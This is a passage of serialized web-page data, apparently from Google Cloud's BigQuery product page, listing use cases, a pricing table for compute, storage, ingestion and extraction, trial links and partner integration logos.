244);\"\u003eSQL queries\u003c/span\u003e for log analytics\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/logging/docs/analyze/examples"],null,6,{"10000":[[["track-metadata-child_headline","sample sql queries for log analytics"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/logging/docs/analyze/examples"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-name","sample sql queries for log analytics"]],192553]}]]],[[[null,[null,"\u003cp\u003ePinpoint \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eunique elements\u003c/span\u003e in data\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/blog/products/data-analytics/improved-text-analytics-in-bigquery-search-indexes-now-ga"],null,4,{"10000":[[["track-metadata-child_headline","pinpoint unique elements in data"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/blog/products/data-analytics/improved-text-analytics-in-bigquery-search-indexes-now-ga"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-name","pinpoint unique elements in data"]],192551]}]]]]],1]],"log-analytics"],[[[null,[null,"Marketing analytics"]]],[[[[[[null,[null,"\u003cp\u003eIncrease marketing ROI and performance with data and AI\u003c/p\u003e"],[null,"\u003cp\u003eBring the power of Google AI to your marketing data by unifying marketing and business data sources in BigQuery. Get a holistic view of the business, increase marketing ROI and performance using more first-party data, and deliver personalized and targeting marketing at scale with ML/AI built-in. Share insights and performance with Looker Studio or Connected Sheets.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/marketing-analytics"],"Explore data and AI solutions built for marketing use cases",{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/marketing-analytics"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","increase marketing roi and performance with data and ai"],["track-name","explore data and ai solutions built for marketing use cases"]]]}]],[[null,null,"https://lh3.googleusercontent.com/Gz1nVGj_lziy97dGIzEKZ7ASHj-HfoCVD7BBENNbJ6q26XJiaCbNxtVZ4qHVOkvpaycx0qRxi6Yg"],null,null,true,null,null,null,null,[null,"Marketing data warehouse diagram"]]]],1]],"marketing-analytics"],[[[null,[null,"Data clean rooms"]]],[[[[[[null,[null,"\u003cp\u003eBigQuery data clean rooms for privacy-centric data sharing\u003c/p\u003e"],[null,"\u003cp\u003eCreate a low-trust environment for you and your partners to collaborate without copying or moving the underlying data right within BigQuery. This allows you to perform privacy-enhancing transformations in BigQuery SQL interfaces and monitor usage to detect privacy threats on shared data. Benefit from BigQuery scale without needing to manage any infrastructure and built-in BI and AI/ML. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/use-case/data-clean-rooms"],"Explore more use cases for data clean rooms",{"10000":[[["track-metadata-eventdetail","cloud.google.com/use-case/data-clean-rooms"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bigquery data clean rooms for privacy-centric data sharing"],["track-name","explore more use cases for data clean rooms"]]]}]],[[null,null,"https://lh3.googleusercontent.com/3F74UarzeBKKKND8WRD8unc1SyVytFjn5ZxZ1cpheAyo3WL_xGM1YfzjoNeR_YsqA3dSC94tOo67\u003ds1024-w1024-rw-lo"],null,null,true,null,null,null,null,[null,"Predictive analysis diagram"]]]],1]],"data-clean-rooms"]]],{"10000":[[["track-metadata-module","product v3 common uses"]],191769]}],[80,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[[null,[null,"How BigQuery pricing works"],[null,"BigQuery pricing is based on compute (analysis), storage, additional services, and data ingestion and extraction. Loading and exporting data are free."],null,[null,"\u003cp\u003eLearn more about BigQuery pricing. \u003ca href\u003d\"https://cloud.google.com/bigquery/pricing\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eView all pricing details\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003cbr /\u003e\u003c/p\u003e"]]],[[null,[null,"Services and usage"]],[null,[null,"Subscription type"]],[null,[null,"Price (USD)"]]],null,null,[[[[1,1,[[[null,[null,"\u003cp\u003eFree tier\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003eThe \u003ca href\u003d\"https://cloud.google.com/bigquery/pricing#free-tier\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery free tier\u003c/a\u003e gives customers 10 GiB storage, up to 1 TiB queries free per month, and other resources.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"Free"]]]]]],true],[[[4,1,[[[null,[null,"\u003cp\u003eCompute (analysis)\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eOn-demand\u003c/b\u003e\u003c/p\u003e\u003cp\u003eGenerally gives you access to up to 2,000 concurrent slots, shared among all queries in a single project.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$6.25"],null,[null,"per TiB scanned. First 1 TiB per month is free."]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eStandard edition\u003c/b\u003e\u003c/p\u003e\u003cp\u003eLow-cost option for standard SQL analysis \u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.04 "],null,[null,"per slot hour"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eEnterprise edition\u003c/b\u003e\u003c/p\u003e\u003cp\u003eSupports advanced enterprise analytics\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.06"],null,[null,"per slot hour"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eEnterprise Plus edition\u003c/b\u003e\u003c/p\u003e\u003cp\u003eSupports mission-critical enterprise analytics\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.10"],null,[null,"per slot hour"]]]]]]],[[[4,1,[[[null,[null,"\u003cp\u003eStorage\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eActive local storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on the uncompressed bytes used in tables or table partitions modified in the last 90 days. \u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.02"],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eLong-term logical storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on the uncompressed bytes used in tables or table partitions modified for 90 consecutive days. \u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.01"],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eActive physical storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on the compressed bytes used in tables or table partitions modified for 90 consecutive days.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.04 "],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eLong-term physical storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on compressed bytes in tables or partitions that have not been modified for 90 consecutive days.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.02"],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[3,1,[[[null,[null,"\u003cp\u003eData ingestion\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eBatch loading \u003c/b\u003e\u003c/p\u003e\u003cp\u003eImport table from Cloud Storage\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"Free"],null,[null,"When using the shared slot pool"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eStreaming inserts\u003c/b\u003e\u003c/p\u003e\u003cp\u003eYou are charged for rows that are successfully inserted. Individual rows are calculated using a 1 KB minimum.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.01"],null,[null,"per 200 MiB"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eBigQuery Storage Write API\u003c/b\u003e\u003c/p\u003e\u003cp\u003eData loaded into BigQuery, is subject to \u003ca href\u003d\"https://cloud.google.com/bigquery/pricing#storage\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery storage pricing\u003c/a\u003e or \u003ca href\u003d\"https://cloud.google.com/storage/pricing#storage-pricing\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eCloud Storage pricing\u003c/a\u003e.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.025"],null,[null,"per 1 GiB. The first 2 TiB per month are free."]]]]]]],[[[2,1,[[[null,[null,"\u003cp\u003eData extraction\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eBatch export\u003c/b\u003e\u003c/p\u003e\u003cp\u003eExport table data to Cloud Storage.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"Free"],null,[null,"When using the shared slot pool"]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eStreaming reads\u003c/b\u003e\u003c/p\u003e\u003cp\u003eUse the storage Read API to perform streaming reads of table data.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$1.10"],null,[null,"per TiB read"]]]]]],true]]],[null,[[[null,[null,"Pricing calculator"],[null,"Estimate your monthly BigQuery costs, including region specific pricing and fees."]],[[null,null,"https://cloud.google.com/products/calculator"],"Estimate your costs",{"10000":[[["track-metadata-eventdetail","cloud.google.com/products/calculator"],["track-metadata-module","product v3 price table"],["track-metadata-module_headline","pricing calculator"],["track-name","estimate your costs"]]]}]]],[[[null,[null,"Custom quote"],[null,"Connect with our sales team to get a custom quote for your organization."]],[[null,null,"https://cloud.google.com/contact?direct\u003dtrue"],"Request a quote",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","product v3 price table"],["track-metadata-module_headline","custom quote"],["track-name","request a quote"]],192550]}]]]]],{"10000":[[["track-metadata-module","product v3 price table"]],191770],"10002":"how-bigquery-pricing-works"}],[72,null,null,[[[[[null,"Start your proof of concept"],[null,"New customers get $300 in free credits to try BigQuery and other Google Cloud products"],[null,"Try BigQuery sandbox without a credit card"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/bigquery"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/bigquery/docs/sandbox"],"Run a query",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/sandbox"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","run a query"]],192553]}]]],[[[[null,[null,"Learn how to locate and query public datasets in BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/quickstarts/query-public-dataset-console"],"Read guide",6,{"10000":[[["track-metadata-child_headline","learn how to locate and query public datasets in bigquery"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/quickstarts/query-public-dataset-console"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","read guide"]],192553]}]]],[[[null,[null,"Learn how to load data into BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/loading-data"],"Read guide",6,{"10000":[[["track-metadata-child_headline","learn how to load data into bigquery"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/loading-data"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","read guide"]],192553]}]]],[[[null,[null,"Learn how to create and use tables in BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/tables"],"Read guide",6,{"10000":[[["track-metadata-child_headline","learn how to create and use tables in bigquery"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/tables"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","read guide"]],192553]}]]]]],{"10000":[[["track-metadata-module","proof of concept"]],191762],"10002":"new-customers-get-$300-in-free-credits-to-try-bigquery-and-other-google-cloud-products"}],[73,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Work with a partner with BigQuery expertise"],null,null,[null,"\u003cp\u003eFrom data ingestion to visualization, many partners have integrated their data solutions with BigQuery. Listed above are partner integrations through \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/bigquery-ready-overview\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGoogle Cloud Ready - BigQuery\u003c/a\u003e.\u003c/p\u003e\u003cp\u003eVisit our \u003ca href\u003d\"https://cloud.google.com/find-a-partner/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003epartner directory\u003c/a\u003e to learn about these BigQuery partners.\u003c/p\u003e"]]],[[[[null,[null,"ETL and data integration"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/ernMih_P-z8KybdPn5TkOerU0kXqQSiCQ2aYBoHMGPXW7jkGNq58NHE7FhoO_ZVxIrZbjeXpQ8c"],null,null,true,null,null,null,null,[null,"Confluent logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/WVtAv77pZSLUBLzrb9aDSnJZiqkXuj7ehKpQY4wEzXEvyAByZKX1ZmkavHEqwlgeOvT-DujEwos_3A"],null,null,true,null,null,null,null,[null,"Fivetran logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Cc7ZJ2V2uZnkcpsQOZXoa7ZJevWoebsiNCCi-ryckiPila5BcKIdFNbqUnRt9oh2PCikBIne_AHBgA"],null,null,true,null,null,null,null,[null,"informatica logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/M-VmAs61fUPrpObXm623r06lQ-ZhI5CEXQvSd7DGKsg1i3EVAasgl7I6t0_x1n9JkVflnJ1I6en3"],null,null,true,null,null,null,null,[null,"snaplogic logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/eTDTV4EfK0iZvu5c21GhfHK7dV7C84ZyWghMPckoyalmy50kzJvP_oMGdfUmbyeVzYxohqeSx3I"],null,null,true,null,null,null,null,[null,"Matillion logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/_kxi5q4shI5Lh5c8RQNF3i8g6dLWqLWod-hD4M3_zufgzec_8NsRnIT49CN6DDC7BjhqkYLsD13h"],null,null,true,null,null,null,null,[null,"Trifacta logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Xf-XR_P16CBijNUK-W9-vwFPpL4SD8JUBUdGpvjSv6muWZ4NY69hNxuACW-nCR1AS5R76gQQsyvMLw"],null,null,true,null,null,null,null,[null,"Alteryx logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/nZsyF06oI_NC7kq4Do6Zsor9AUZDoOW0FysBkZvENG3m7MGqxITbxGmjTDTN_JSF6wFkW65T26xP7A"],null,null,true,null,null,null,null,[null,"Striim logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/tJEnOZGbHSTHxztk0jhTVLydt_qmpGGUqAHR64-3Ta3193epJXfwQzWvOY5n33LxdL6be18Ulz0g"],null,null,true,null,null,null,null,[null,"talend logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/a2F9ZxJYhV5hJASQtG1hQEVkshZ_XQpjHK1_BQZ26mWT0rhbuTrkNDVhtxov-i0DAeVc_DoHv9Z2OQ"],null,null,true,null,null,null,null,[null,"rivery logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/q4NSXWeri3_m7fN2TV8X9jPk9iApKLk_nFqa2vLXPogMFBv3SeWSc3mXjHNIRb8HvbJBcVSVVt8P"],null,null,true,null,null,null,null,[null,"Rudderstack logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/wy97LO10QbtrtinxIIhIjSuqoOCFb-7sq8CZVh97mB3ZofHOQGaS1tp2WRz-f3LzGTqeKv1_NPTH"],null,null,true,null,null,null,null,[null,"funnel logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/zZUGrPuuDq8T9O2B2F5fpjej98470WFVW-MYGTJUTk_z7XZVgxyM58QZgZvCXi6AY1BySyeZTIrs"],null,null,true,null,null,null,null,[null,"dbt logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/mySjql7WRFNkzHy-fwLa81lnb6UjRBvHaDc6MrqeAKWxE8kz0KlaAcYdPtI14byzChPpjTzRJA0"],null,null,true,null,null,null,null,[null,"Denodo logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/DdkbuNg4dK82hpTeuERue6bPyFkm6itKt1VHMUypQdMYH_7VeIkjgs6VGgdn4QozkdKh3NjVzSQ62g"],null,null,true,null,null,null,null,[null,"Supermetrics logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/EyVdJgAClXuQHO2yBhmfGHZGB4ZkukT27iHY4xdvu67LFZw91q3d0EWl75AV-s1YhUupZU8--apO6g"],null,null,true,null,null,null,null,[null,"Airbyte logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/pU0itt-s65aqyp3ckOSAR8_4gixSODJPJ1CNSjYQfGy1DyADVihJL3jenUSBjliWCaIh3szH-hI"],null,null,true,null,null,null,null,[null,"Hevo logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/aiven"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/aiven"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/OtEu2g_THONxFVPBgLLmmQGyTM_lNs7lxgGDdQnPtAcHmmNTh6mqH6nlmQEcZsqzp4CXprBo8Ddc"],null,null,true,null,null,null,null,[null,"aiven"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/devart-s-r-o"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/devart-s-r-o"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/3-Tk1mtzsu6f-IIhfwq_E_7pJvLQrvGayyx9DY8OUAJgkf_GzTsAmDrfE5UiKNz9OvuDinsxxCRuEA"],null,null,true,null,null,null,null,[null,"skyvia logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/ascendo-ai-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/ascendo-ai-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/6IDErn36XvqUGHeypUwykp9WrmvTzPEvk-h7qWaROTwX2YMNg9G0AYf7wNwjup9yUNeRHgyMTN4"],null,null,true,null,null,null,null,[null,"ascend.io logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/dataddo"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/dataddo"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/YCZ2SKYCwMA995tu8-uvOyCgk5X7hb3ubwJncHpMr-UMmfuWhsNKgAcjj2pI40_VabdZTDb-bVSv"],null,null,true,null,null,null,null,[null,"dataddo logo"]]]],[null,[[null,[[null,null,"https://docs.arcion.io/docs/source-setup/bigquery/"],null,6,{"10000":[[["track-metadata-eventdetail","docs.arcion.io/docs/source-setup/bigquery"],["track-metadata-module","partners and integration"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/BVL-f0QKuTA75irAjHpPu8z6ugCtWbv7YUpBQaNc1cqSxeU_wo-vLf296NBR_eT5R8XwmlfR4Zv3"],null,null,true,null,null,null,null,[null,"arcion logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/hasura"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/hasura"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/Sf6_OOZ0fmaOc_QC1NU2VyWstRmEOcJpujSddHOTf02Tm8U9DyJBYVEynNqloPB_a_F1ByoVOJ-8"],null,null,true,null,null,null,null,[null,"Hasura logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/estuary"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/estuary"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/BKhE8vXD1L2uAbFihe7NOvr0VD5qAld-5aJgFPQFg6js8ZCnlGGguxfZAjHjBx5VAGir_tmKxp7oCA"],null,null,true,null,null,null,null,[null,"Estuary logo"]]]],[null,[[null,[[null,null,"https://docs.calibermind.com/article/1h3lzav7y2-caliber-mind-data-warehouse-access-in-google-big-query"],{"10000":[[["track-metadata-eventdetail","docs.calibermind.com/article/1h3lzav7y2-caliber-mind-data-warehouse-access-in-google-big-query"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/26M4amN_x0BzWvmYhgFojLgwfAPPMAQrmIE_eU0kHFsIHE7sk4jXkKy_nvFwdbygw0wcWsHZAqp0HA"],null,null,true,null,null,null,null,[null,"calibermind logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/retool"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/retool"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/IDTo0Nqj1TzG__K97qqt_7tQXRdQKcph4OjvazKsRExL1WrOSbWBP4BqmLMvn1hlBxPgoX1G53zx"],null,null,true,null,null,null,null,[null,"retool logo"]]]],[null,[[null,[[null,null,"https://portable.io/connectors/portable/bigquery"],{"10000":[[["track-metadata-eventdetail","portable.io/connectors/portable/bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/V0p_tBm5L8rDmRLN-z8BgXLvfalt32AB6SGqk4o8jy91cBe6-VbLTOR3_kUI064U9weA4LrltanW"],null,null,true,null,null,null,null,[null,"portable logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/precog"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/precog"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/SWjgPStDGv1g79rj128yTT9klLsZP9oan8jScoqlU6sotP-ULoDB8mB7tKpXMsf7gClv1Dpo7CU5"],null,null,true,null,null,null,null,[null,"precog logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/cloudquery"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/cloudquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/356nRCFxjXlDPs9M6GEN7QPHL8rbS1aDqf9ABx7vVAajm12V5VuT_bbuhHBqYFTRXCK6L4fAnucO"],null,null,true,null,null,null,null,[null,"CloudQuery logo"]]]]],[],null,"etl-and-data-integration"],[[[null,[null,"Reverse ETL and MDM"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/BkXECndt-amIcp1Adedr3lsgFeJ1_vcEJRrXxPw5QsJCrS6d07doHe0Jx7hLN8-wp1-NQvpoK_5JUg"],null,null,true,null,null,null,null,[null,"Census logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/-TDw2LwfBYgQ133eO6maZ5pz0mBxYqIIU-BdRmEiIFA7zEIpSKONzKXn62sb9e41nNYpyghwQVRG"],null,null,true,null,null,null,null,[null,"integratei.io logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/aeNmy7nrSnwanYfrC_yCQFvCupyqj9nqODLLTLcdAdotjoYaFymHFcwv__gHGpolcQ7_9c_n8WBOiA"],null,null,true,null,null,null,null,[null,"Hightouch logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/ste-Nhtd2aCNVWjqp33jyShspn97WrdsiYIOT-Eavvw6RvPHqLzQNQ3QZmYujjv_SBCKV_n-GcsDAg"],null,null,true,null,null,null,null,[null,"Nexla logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/jMdWWkshXLh8YuTi_cvx7zsJ5oZhtH5n3CsnCGDKVRPxtxT_8DzQxSd-FLCunlbtMShceYkP8co"],null,null,true,null,null,null,null,[null,"Reltio logo"]]]],[null,[null,[[null,null,"https://www.gstatic.com/bricks/image/198cbb2904185590fd14cee4cab419f4c65df250456b66b91e2d7b2aec090fb7.svg"],null,null,null,null,null,null,null,[null,"Tamr logo"]]]]],[],null,"reverse-etl-and-mdm"],[[[null,[null,"BI and data visualization"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/nVy1GfKWTgsRWqie3OKVPqI_tFOxIoAAqZNciHy0ik_NTmOOd57_Vdk0Zs-MFQ83C3Z_2lQ8X6ax"],null,null,true,null,null,null,null,[null,"Tableau logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/u_InqAZdHllwsUvXZvIT85v_R73zz1CXc9pRIRbV35F9QAdgx0ZtQnHQ1rIkTcwplCf4sSP8bzY"],null,null,true,null,null,null,null,[null,"MicroStrategy logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/TbnvCb9C46ZupoKUc4dujub8HeqKQQlNYc0WGHcDcAmV2zxAl6I1i0Ulvf05pyG8AyFAm8ZAJLKM"],null,null,true,null,null,null,null,[null,"Qlik logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/gNmqVbCMqvGrh9_CYj7_Od8UOX8-vIoln0eYc0InHay1cXhfrQuTqwalIQZzVmPlVqnlttWOABtWfQ"],null,null,true,null,null,null,null,[null,"Sas logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Fk2LqU09POB11UVxwvAI4YuPjoDToq6uOw3RJ692uGLvd_UzlU0p9i5pE_pG6Hr-GAJGHZ4engYb"],null,null,true,null,null,null,null,[null,"ThoughtSpot logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/A-XqnQZ0a8Eyfs9OPYOCNTZMFWx1NHRy2RT6K8z7NKCouJNFQqzkoEffpw-CJqPJrjWnnFvB8AajRw"],null,null,true,null,null,null,null,[null,"Sigma logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/yDh09VHdW7uxgCOdXSUA9PQXUAqgsy6WCrNDAup2FnSP6diGvVR2SMzPyP98PuPtPpykThSjmHK5"],null,null,true,null,null,null,null,[null,"sisense logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/D2GVFuKIPiRlZMnZaHgdHuXYDztz4cMJKG1DqBG9eCh3cyb-IkncPhfaqTa2tqj6WG3SMkrkgMkMVg"],null,null,true,null,null,null,null,[null,"Mode logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/NdrXgfUlxfYVtoxkjUu1Qp5sXprPFZ8SEFP8lmisN_NUqyFBGLdJRYntFnwM9xsABoxYzbQBlheG8A"],null,null,true,null,null,null,null,[null,"incorta logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/uQvpX77fRPtXsVQ8cBA0qEGPqn-YQC0L2pXoIxys2DOKSjyDsOGY8nt5_lbjrgoI4NrrQfAPLYHKRQ"],null,null,true,null,null,null,null,[null,"Carto logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/domo-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/domo-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/f4CuBrSvhvmUJvoP8w32PclSnLRbYIHcbpesIDgFCNV29mH9TBPmiLRM3GKW6l3xDhWw8DVcpqLe"],null,null,true,null,null,null,null,[null,"domo logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/dreamdata"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/dreamdata"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/sjLLF7XSZv6lwBS8QVHpc8s6ngT_et43IHzShLPhdjd28P604HANHgDv85-HmpGLk-uPDHkSthEa"],null,null,true,null,null,null,null,[null,"dreamdata logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/atscale"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/atscale"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/Z1ZQQj1Fc2sy0g5znbjw0FCCmjRHFxwVEUVoBGah7RVB9q7dEhkBE7eJAJdCpcws_hkAMCB-EqY"],null,null,true,null,null,null,null,[null,"atscale logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/tellius"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/tellius"],["track-metadata-module","partners and 